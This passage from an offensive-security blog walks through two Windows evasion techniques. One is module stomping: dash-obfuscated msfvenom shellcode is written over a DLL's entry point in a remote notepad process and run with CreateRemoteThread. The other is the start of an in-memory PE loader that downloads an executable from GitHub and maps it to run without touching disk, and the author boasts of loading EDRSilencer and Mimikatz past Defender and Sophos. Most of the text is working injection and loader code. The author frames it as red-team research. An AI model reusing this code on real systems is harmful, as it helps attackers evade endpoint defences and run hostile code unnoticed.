    <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">modCount</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">GetModuleBaseNameA</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">mods</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">modName</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">modName</span><span class="p">)))</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">_stricmp</span><span class="p">(</span><span class="n">modName</span><span class="p">,</span> <span class="s">"CoreShell.dll"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">targetMod</span> <span class="o">=</span> <span class="n">mods</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
                <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Found apphelp.dll base: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">targetMod</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">targetMod</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProc</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<h2 id="located-the-dll-pe-entry-point">Located the DLL PE Entry Point</h2>

<p>We’re getting close to the finish line now!  We need to read 4096 bytes from our now retrieved <code class="language-plaintext highlighter-rouge">CoreShell.dll</code> module and place them into the <code class="language-plaintext highlighter-rouge">pfBuf</code> variable.  We will then cast <code class="language-plaintext highlighter-rouge">peBuf</code> against an IMAGE_DOS_HEADER struct to make it easier for us to locate the AddressofEntryPoint for our remotely loaded DLL.  Here’s the struct for reference if you’d like to know how it’s laid out:</p>

<p><img width="1003" height="597" alt="image" src="https://github.com/user-attachments/assets/3776be32-7f0d-4488-a71e-e51e75615cb7" /></p>

<p>We complete the IMAGE_NT_SIGNATURE and eventually make it to where we grab our Address of entry point and add that to our targetMod. We finally get what we long sought after.  The Entry point of our DLL!</p>

<p><img width="502" height="179" alt="image" src="https://github.com/user-attachments/assets/405f0245-ccf8-4a57-bbf9-49cf45769c97" /></p>

<p><strong>Here’s the code for everything I just explained:</strong></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Extract PE entry point</span>
<span class="n">BYTE</span> <span class="n">peBuf</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>
<span class="n">SIZE_T</span> <span class="n">readBytes</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">targetMod</span><span class="p">,</span> <span class="n">peBuf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">peBuf</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">readBytes</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">readBytes</span> <span class="o">&gt;=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">IMAGE_DOS_HEADER</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">auto</span> <span class="n">dosHdr</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="n">IMAGE_DOS_HEADER</span><span class="o">*&gt;</span><span class="p">(</span><span class="n">peBuf</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">dosHdr</span><span class="o">-&gt;</span><span class="n">e_magic</span> <span class="o">==</span> <span class="n">IMAGE_DOS_SIGNATURE</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">auto</span> <span class="n">ntHdr</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="n">IMAGE_NT_HEADERS</span><span class="o">*&gt;</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="n">BYTE</span><span class="o">*&gt;</span><span class="p">(</span><span class="n">dosHdr</span><span class="p">)</span> <span class="o">+</span> <span class="n">dosHdr</span><span class="o">-&gt;</span><span class="n">e_lfanew</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ntHdr</span><span class="o">-&gt;</span><span class="n">Signature</span> <span class="o">==</span> <span class="n">IMAGE_NT_SIGNATURE</span><span class="p">)</span> <span class="p">{</span>
            <span class="kt">void</span><span class="o">*</span> <span class="n">entryPt</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span><span class="o">*&gt;</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">DWORD_PTR</span><span class="o">&gt;</span><span class="p">(</span><span class="n">targetMod</span><span class="p">)</span> <span class="o">+</span> <span class="n">ntHdr</span><span class="o">-&gt;</span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">AddressOfEntryPoint</span><span class="p">);</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Entry point: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">entryPt</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
</code></pre></div></div>

<h2 id="the-payload">The Payload!</h2>

<p>We can’t forget our payload right?!  I mean, we’ve made it this far.  I’ve yet to even tell you about what I plan to load into the DLL entrypoint 😸  Well…surprise surprise.  It’s once again the Windows Calculator lol.  I used msfvenom to generate it this time as I wanted to demonstrate how we can bypass a lot of EDR solution just applying some basic encoding to the shellcode beforehand.  Here’s what it looks like.  My “encoding” is just hashes/dashes in-between the bytes lol.  How is the effective?  Seriously, this shouldn’t work.  But it does a lot of the time 😆</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Payload: calc.exe (hex-encoded)</span>
<span class="k">const</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">payloadHex</span> <span class="o">=</span> <span class="s">"fc-48-83-e4-f0-e8-c0-00-00-00-41-51-41-50-52-51-56-48-31-d2-65-48-8b-52-60-48-8b-52-18-48-8b-52-20-48-8b-72-50-48-0f-b7-4a-4a-4d-31-c9-48-31-c0-ac-3c-61-7c-02-2c-20-41-c1-c9-0d-41-01-c1-e2-ed-52-41-51-48-8b-52-20-8b-42-3c-48-01-d0-8b-80-88-00-00-00-48-85-c0-74-67-48-01-d0-50-8b-48-18-44-8b-40-20-49-01-d0-e3-56-48-ff-c9-41-8b-34-88-48-01-d6-4d-31-c9-48-31-c0-ac-41-c1-c9-0d-41-01-c1-38-e0-75-f1-4c-03-4c-24-08-45-39-d1-75-d8-58-44-8b-40-24-49-01-d0-66-41-8b-0c-48-44-8b-40-1c-49-01-d0-41-8b-04-88-48-01-d0-41-58-41-58-5e-59-5a-41-58-41-59-41-5a-48-83-ec-20-41-52-ff-e0-58-41-59-5a-48-8b-12-e9-57-ff-ff-ff-5d-48-ba-01-00-00-00-00-00-00-00-48-8d-8d-01-01-00-00-41-ba-31-8b-6f-87-ff-d5-bb-e0-1d-2a-0a-41-ba-a6-95-bd-9d-ff-d5-48-83-c4-28-3c-06-7c-0a-80-fb-e0-75-05-bb-47-13-72-6f-6a-00-59-41-89-da-ff-d5-63-61-6c-63-2e-65-78-65-00"</span><span class="p">;</span>
<span class="k">auto</span> <span class="n">shellBytes</span> <span class="o">=</span> <span class="n">parseShellcode</span><span class="p">(</span><span class="n">payloadHex</span><span class="p">);</span>
</code></pre></div></div>

<p><strong>parseShellcode() takes my shellcode and removes the dashes</strong></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">BYTE</span><span class="o">&gt;</span> <span class="n">parseShellcode</span><span class="p">(</span><span class="k">const</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">&amp;</span> <span class="n">hexData</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">BYTE</span><span class="o">&gt;</span> <span class="n">bytes</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">pos</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">pos</span> <span class="o">&lt;</span> <span class="n">hexData</span><span class="p">.</span><span class="n">length</span><span class="p">())</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">hexData</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'-'</span><span class="p">)</span> <span class="o">++</span><span class="n">pos</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">pos</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&lt;</span> <span class="n">hexData</span><span class="p">.</span><span class="n">length</span><span class="p">())</span> <span class="p">{</span>
            <span class="n">BYTE</span> <span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
            <span class="n">sscanf_s</span><span class="p">(</span><span class="n">hexData</span><span class="p">.</span><span class="n">c_str</span><span class="p">()</span> <span class="o">+</span> <span class="n">pos</span><span class="p">,</span> <span class="s">"%2hhx"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">val</span><span class="p">);</span>
            <span class="n">bytes</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="n">val</span><span class="p">);</span>
            <span class="n">pos</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">bytes</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now that we have the shellcode ready to go, let’s load it and create a remote thread to execute it!!!</p>

<h2 id="executing-the-shellcode-in-the-remote-dll-in-the-remote-notepad-process">Executing the shellcode in the Remote DLL, in the remote notepad process!</h2>

<p>Here, we write the shellcode to the entry point of our DLL and execute it!  Exactly what you’d expect 😄</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                    <span class="c1">// Stomp the entry point with payload</span>
                    <span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="n">entryPt</span><span class="p">,</span> <span class="n">shellBytes</span><span class="p">.</span><span class="n">data</span><span class="p">(),</span> <span class="n">shellBytes</span><span class="p">.</span><span class="n">size</span><span class="p">(),</span> <span class="nb">nullptr</span><span class="p">);</span>

                    <span class="c1">// Trigger execution</span>
                    <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">hProc</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="o">&gt;</span><span class="p">(</span><span class="n">entryPt</span><span class="p">),</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProc</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="the-calculator">The Calculator!!!</h2>

<p><img width="1338" height="968" alt="image" src="https://github.com/user-attachments/assets/9f3627cf-dbdb-4ca7-8a24-92c4fe2f1452" /></p>

<p><strong>Source code:</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2025-10-3-Module%20Stomping%20101%20-%20My%20Favorite%20Stomping%20Grounds">Source Code</a></p>

<p><strong>Notice no EDR alerts either:</strong></p>

<p><img width="932" height="996" alt="image" src="https://github.com/user-attachments/assets/802943d7-a68d-4a83-92d4-1d56afed454b" /></p>

<p>And that’s it!  I hope this was informative and as always, at least somewhat entertaining 😆  Appreciate you all and thanks for supporting what I do and reading the blog!
Until next time!</p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><img width="1533" height="650" alt="image" src="https://github.com/user-attachments/assets/b20a521d-0d2f-4422-a658-d1570cc35111" /></p>

<p><a href="https://app.any.run/tasks/c7fa34cb-e7a3-452e-9a84-bcacc871a222">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Process Injection" /><category term="Windows 11" /><category term="g3tsyst3m" /><category term="2025" /><category term="process injection" /><category term="module stomping" /><category term="dll hollowing" /><category term="pe header" /><summary type="html"><![CDATA[It probably comes as no surprise to most of my dedicated readers that I have an undying fascination with all things related to code injection and evasive maneuver techniques in the realm of offensive security. I’m no expert in the area by any stretch of the imagination, but I find I enjoy researching these specific niche aspects of offensive security tradecraft the most rewarding 😸. Okay, so you know already by the title of this post that our focus today will be on module stomping. What is that exactly? Well, I’ll talk about it briefly here and also give you a preview video where I provide a high level overview of Module Stomping in what I hope is presented in an easy to understand manner.]]></summary></entry><entry><title type="html">Bypassing EDR using an In-Memory PE Loader</title><link href="https://g3tsyst3m.com/fileless%20techniques/Bypassing-EDR-using-an-In-Memory-PE-Loader/" rel="alternate" type="text/html" title="Bypassing EDR using an In-Memory PE Loader" /><published>2025-09-23T00:00:00+00:00</published><updated>2025-09-23T00:00:00+00:00</updated><id>https://g3tsyst3m.com/fileless%20techniques/Bypassing%20EDR%20using%20an%20In-Memory%20PE%20Loader</id><content type="html" xml:base="https://g3tsyst3m.com/fileless%20techniques/Bypassing-EDR-using-an-In-Memory-PE-Loader/"><![CDATA[<p>It’s high time we get another blog post going, and what better time than now to talk about PE loaders! Specifically, an In-Memory PE Loader. 😸  In short, we’re going to implement a PE (Portable Executable) loader that downloads a PE file (in this case, <code class="language-plaintext highlighter-rouge">putty.exe</code>) from one of my Github repos.  We will then load it directly into a section of memory within the calling process and execute putty without ever writing it to disk! Essentially, we are using what’s called <code class="language-plaintext highlighter-rouge">Dynamic Execution</code>: The code is able to load and execute any valid 64-bit PE file (e.g., EXE or DLL) from a remote source, in our case, a Github file URL where I simply uploaded <code class="language-plaintext highlighter-rouge">putty.exe</code> to one of my github repos.</p>

<p>Not only that, but it’s also loading it into the calling process that we’re assuming has been loaded successfully and already passed all the familiar EDR checks.  So, EDR basically says “this executable checks out, let’s let the user run it” 🙂  Now that we’re on good talking terms with EDR, we then sneak in another portable executable, from memory, into our already approved/vetted process!  I’ve loaded various executable’s using this technique, many lazily thrown together with shotty code and heavy use of syscalls, obfuscation, you name it.  I very rarely triggered EDR alerts, at least using the EDR solutions I test with.  I mainly use Defender XDR and Sophos XDR these days, though I’d like to try others at some point.  PE Loader’s, especially custom made where we load the PE image from memory, are very useful for red team engagements.  Stay with me and I’ll walk you through how the code is laid out!</p>

<blockquote>
  <p><strong>IMPORTANT UPDATE!</strong>
less than 24 hours into making this post live, people are already questioning the usefulness of using putty as our PE for this exercise.  First off, my intention was to demonstrate how we can load PE’s that have GUIs.  Second, putty is easy to find and use.  It’s great for demo’s.  But for those that want to see the effectiveness of bypassing EDR more specifically, I get it.  So, i’ve retroactively added in a well known and flagged EDR bypass tool to prove the effectiveness of using PE Loaders. I’ll share the screenshot of this in action so you can see how we can effectively bypass the EDR solutions I’m able to test against.  We will be using the EDRSilencer tool: <a href="https://github.com/netero1010/EDRSilencer">EDR Silencer</a> Awesome tool btw!  Kudos to the author.</p>
</blockquote>

<blockquote>
  <p><strong>UPDATE #2 LOL: Now we’re cookin!  Let’s Load Mimikatz too while we’re at it 😸</strong></p>
</blockquote>

<iframe width="1080" height="720" src="https://www.youtube.com/embed/fYhWRyyGO5s" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe>

<p><strong>Here’s what’s happening at a high level overview:</strong></p>

<ul>
  <li>The code we will be writing is an in-memory PE loader that downloads a 64-bit executable from a github URL</li>
  <li>We map it into memory within our existing process</li>
  <li>We resolve its dependencies</li>
  <li>Apply relocations</li>
  <li>Set memory protections</li>
  <li>Execute it!</li>
</ul>

<p>Next, I’ll walk you through the code and the thought process behind it.</p>

<h2 id="downloading-the-pe"><strong><em>Downloading the PE</em></strong></h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">bool</span> <span class="nf">LoadPEInMemory</span><span class="p">(){</span>
    <span class="c1">// Step 1: Load PE from disk (we don't use this, but I left it so you can see how this would work if we didn't use an in-memory PE loader and loaded the PE from disk instead :) )</span>
   <span class="cm">/*
    HANDLE hFile = CreateFileA(pePath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        std::cerr &lt;&lt; "[!] Cannot open PE file\n";
        return false;
    }

    DWORD fileSize = GetFileSize(hFile, NULL);
    std::vector&lt;BYTE&gt; fileBuffer(fileSize);
    DWORD bytesRead = 0;
    ReadFile(hFile, fileBuffer.data(), fileSize, &amp;bytesRead, NULL);
    CloseHandle(hFile);
    */</span>

    <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">agent</span> <span class="o">=</span> <span class="s">"Mozilla/5.0"</span><span class="p">;</span>
    <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">url</span> <span class="o">=</span> <span class="s">"https://github.com/g3tsyst3m/undertheradar/raw/refs/heads/main/putty.exe"</span><span class="p">;</span>

    <span class="c1">// ---- Open Internet session ----</span>
    <span class="n">HINTERNET</span> <span class="n">hInternet</span> <span class="o">=</span> <span class="n">InternetOpenA</span><span class="p">(</span><span class="n">agent</span><span class="p">,</span> <span class="n">INTERNET_OPEN_TYPE_DIRECT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hInternet</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"InternetOpenA failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ---- Open URL ----</span>
    <span class="n">HINTERNET</span> <span class="n">hUrl</span> <span class="o">=</span> <span class="n">InternetOpenUrlA</span><span class="p">(</span><span class="n">hInternet</span><span class="p">,</span> <span class="n">url</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">INTERNET_FLAG_NO_CACHE_WRITE</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hUrl</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"InternetOpenUrlA failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="n">InternetCloseHandle</span><span class="p">(</span><span class="n">hInternet</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ---- Read PE Executable into memory ----</span>
    <span class="c1">//std::vector&lt;char&gt; data;</span>
    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">BYTE</span><span class="o">&gt;</span> <span class="n">fileBuffer</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">chunk</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>
    <span class="n">DWORD</span> <span class="n">bytesRead</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">InternetReadFile</span><span class="p">(</span><span class="n">hUrl</span><span class="p">,</span> <span class="n">chunk</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">chunk</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesRead</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">bytesRead</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">fileBuffer</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="n">fileBuffer</span><span class="p">.</span><span class="n">end</span><span class="p">(),</span> <span class="n">chunk</span><span class="p">,</span> <span class="n">chunk</span> <span class="o">+</span> <span class="n">bytesRead</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">InternetCloseHandle</span><span class="p">(</span><span class="n">hUrl</span><span class="p">);</span>
    <span class="n">InternetCloseHandle</span><span class="p">(</span><span class="n">hInternet</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">fileBuffer</span><span class="p">.</span><span class="n">empty</span><span class="p">())</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] Failed to download data.</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

</code></pre></div></div>

<p>The code begins with us leveraging the Windows Internet API (Wininet) library to download our PE file (<code class="language-plaintext highlighter-rouge">putty.exe</code>) from my hardcoded URL (https://github.com/g3tsyst3m/undertheradar/raw/refs/heads/main/putty.exe), to memory.</p>

<ul>
  <li><strong>InternetOpenA</strong>: Initializes an internet session with a user-agent string (Mozilla/5.0).</li>
  <li><strong>InternetOpenUrlA</strong>: Opens the specified URL to retrieve the file.</li>
  <li><strong>InternetReadFile</strong>: Reads the file in chunks (4096 bytes at a time) and stores the data in a std::vector<BYTE> called fileBuffer.</BYTE></li>
</ul>

<p><strong>Note</strong>: I included some commented-out code which demonstrates an alternative method to read the PE file from disk using CreateFileA and ReadFile, but the active code uses the URL-based download approach.</p>

<p>Now the entire PE file is stored in a byte vector called <code class="language-plaintext highlighter-rouge">fileBuffer</code></p>

<h2 id="parsing-the-pe-file-headers"><strong><em>Parsing the PE file headers</em></strong></h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PIMAGE_DOS_HEADER</span> <span class="n">dosHeader</span> <span class="o">=</span> <span class="p">(</span><span class="n">PIMAGE_DOS_HEADER</span><span class="p">)</span><span class="n">fileBuffer</span><span class="p">.</span><span class="n">data</span><span class="p">();</span>
<span class="n">PIMAGE_NT_HEADERS64</span> <span class="n">ntHeaders</span> <span class="o">=</span> <span class="p">(</span><span class="n">PIMAGE_NT_HEADERS64</span><span class="p">)(</span><span class="n">fileBuffer</span><span class="p">.</span><span class="n">data</span><span class="p">()</span> <span class="o">+</span> <span class="n">dosHeader</span><span class="o">-&gt;</span><span class="n">e_lfanew</span><span class="p">);</span>
</code></pre></div></div>

<p>This section of code reads and interprets the headers of our PE file stored in the <code class="language-plaintext highlighter-rouge">std::vector&lt;BYTE&gt;</code> which we called <code class="language-plaintext highlighter-rouge">fileBuffer</code>, which contains the raw bytes of the PE file we downloaded 😸</p>

<h2 id="allocating-memory-for-the-pe-image"><strong><em>Allocating Memory for the PE Image</em></strong></h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BYTE</span><span class="o">*</span> <span class="n">imageBase</span> <span class="o">=</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">ntHeaders</span><span class="o">-&gt;</span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">SizeOfImage</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">imageBase</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[!] VirtualAlloc failed</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now, we will allocate a block of memory in our process’s address space to hold our PE file’s image (the entire memory layout of the executable).  <code class="language-plaintext highlighter-rouge">BYTE* imageBase</code> will store the base address of the allocated memory, which will serve as the in-memory location of our PE image (putty.exe). 😃</p>

<h2 id="copying-the-pe-headers"><strong><em>Copying the PE Headers</em></strong></h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">memcpy</span><span class="p">(</span><span class="n">imageBase</span><span class="p">,</span> <span class="n">fileBuffer</span><span class="p">.</span><span class="n">data</span><span class="p">(),</span> <span class="n">ntHeaders</span><span class="o">-&gt;</span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">SizeOfHeaders</span><span class="p">);</span>
</code></pre></div></div>

<p>This step ensures the PE headers (necessary for our PE executable’s structure) are placed at the beginning of the allocated memory, mimicking how the PE would be laid out if loaded by the Windows loader.  In short, we are copying the PE file’s headers from <code class="language-plaintext highlighter-rouge">fileBuffer</code> to the allocated memory at <code class="language-plaintext highlighter-rouge">imageBase</code>.</p>

<p>Also in case you were wondering, <code class="language-plaintext highlighter-rouge">ntHeaders-&gt;OptionalHeader.SizeOfHeaders</code> = The size of the headers to copy, which includes the DOS header, NT headers, and section headers.</p>

<h2 id="mapping-sections"><strong><em>Mapping Sections</em></strong></h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">PIMAGE_SECTION_HEADER</span> <span class="n">section</span> <span class="o">=</span> <span class="n">IMAGE_FIRST_SECTION</span><span class="p">(</span><span class="n">ntHeaders</span><span class="p">);</span>
 <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[INFO] Mapping "</span> <span class="o">&lt;&lt;</span> <span class="n">ntHeaders</span><span class="o">-&gt;</span><span class="n">FileHeader</span><span class="p">.</span><span class="n">NumberOfSections</span> <span class="o">&lt;&lt;</span> <span class="s">" sections...</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
 <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">ntHeaders</span><span class="o">-&gt;</span><span class="n">FileHeader</span><span class="p">.</span><span class="n">NumberOfSections</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">,</span> <span class="o">++</span><span class="n">section</span><span class="p">)</span> <span class="p">{</span>
     <span class="c1">// Get section name (8 bytes, null-terminated)</span>
     <span class="kt">char</span> <span class="n">sectionName</span><span class="p">[</span><span class="n">IMAGE_SIZEOF_SHORT_NAME</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
     <span class="n">strncpy_s</span><span class="p">(</span><span class="n">sectionName</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="kt">char</span><span class="o">*&gt;</span><span class="p">(</span><span class="n">section</span><span class="o">-&gt;</span><span class="n">Name</span><span class="p">),</span> <span class="n">IMAGE_SIZEOF_SHORT_NAME</span><span class="p">);</span>

     <span class="c1">// Calculate source and destination addresses</span>
     <span class="n">BYTE</span><span class="o">*</span> <span class="n">dest</span> <span class="o">=</span> <span class="n">imageBase</span> <span class="o">+</span> <span class="n">section</span><span class="o">-&gt;</span><span class="n">VirtualAddress</span><span class="p">;</span>
     <span class="n">BYTE</span><span class="o">*</span> <span class="n">src</span> <span class="o">=</span> <span class="n">fileBuffer</span><span class="p">.</span><span class="n">data</span><span class="p">()</span> <span class="o">+</span> <span class="n">section</span><span class="o">-&gt;</span><span class="n">PointerToRawData</span><span class="p">;</span>

     <span class="c1">// Print section details</span>
